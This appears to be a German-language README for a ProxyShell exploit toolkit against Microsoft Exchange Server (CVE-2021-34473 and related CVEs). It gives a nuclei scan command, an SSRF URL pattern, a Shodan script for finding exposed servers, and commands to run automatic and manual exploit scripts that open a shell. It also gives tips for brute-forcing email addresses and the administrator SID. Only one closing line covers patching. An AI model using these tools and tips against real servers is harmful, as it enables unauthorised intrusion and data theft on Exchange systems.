ProxyShell (CVE-2021-34473)

CVE-2021-34473 Microsoft Exchange Server Sicherheitslücke für Remotecodeausführung. Diese fehlerhafte URL-Normalisierung ermöglicht es uns, auf eine beliebige Backend-URL zuzugreifen, während wir als Exchange Server-Maschinenkonto laufen. Obwohl dieser Fehler nicht so mächtig ist wie der SSRF in ProxyLogon und wir nur den Pfadteil der URL manipulieren konnten, ist er dennoch mächtig genug, um weitere Angriffe mit beliebigem Backend-Zugriff durchzuführen.

CVE-2021-34523 - Exchange PowerShell Backend Erhöhung von Berechtigungen
CVE-2021-31207 - Post-Auth beliebiges Dateischreiben

Scanner

nuclei Scanner für Proxyshell RCE (CVE-2021-34423,CVE-2021-34473,CVE-2021-31207) entdeckt von orange tsai bei Pwn2Own, der Microsoft Exchange Server betrifft.

nuclei -u target.com -t proxyshell.yaml

https://xxx.xxx.xxx.xxx/autodiscover/[email protected]/mapi/nspi/?&Email=autodiscover/autodiscover.json%[email protected]

shodan target

sudo python3 shodan-query.py

Verwendung

sudo python3 ProxyShell.py -u https://<IP>

Merkmale

Es muss keine E-Mail-Adresse angegeben werden
Versucht, E-Mails aus Active Directory aufzulisten
Versucht, LegacyDNs aus Active Directory aufzulisten
Versucht, LegacyDNs aus integrierten E-Mails zu ermitteln
Versucht, die SID des Exchange-Servers in Lastausgleichsumgebungen zu ermitteln
Behandelt Ausnutzung in Lastausgleichsumgebungen

manueller Pentest

 python2 /manual/check.py 
 sudo python3 /manual/proxyshell.py
 python2 /manual/shell.py

Tipps:

Ziel auskundschaften, um eine gültige E-Mail-Adresse zu finden
Wenn Sie keine E-Mail finden, verwenden Sie Bruteforce auf das Ziel mit Ihrer E-Mail-Datei.
Bei manchen Zielen funktioniert der automatische Exploit nicht; Sie sollten dann SID per Bruteforce ermitteln und in SID=500 ersetzen.

Gegenmaßnahmen

Wenden Sie die hier gefundenen Sicherheitsupdates an: CVE-2021-34473

ProxyShell

Beliebteste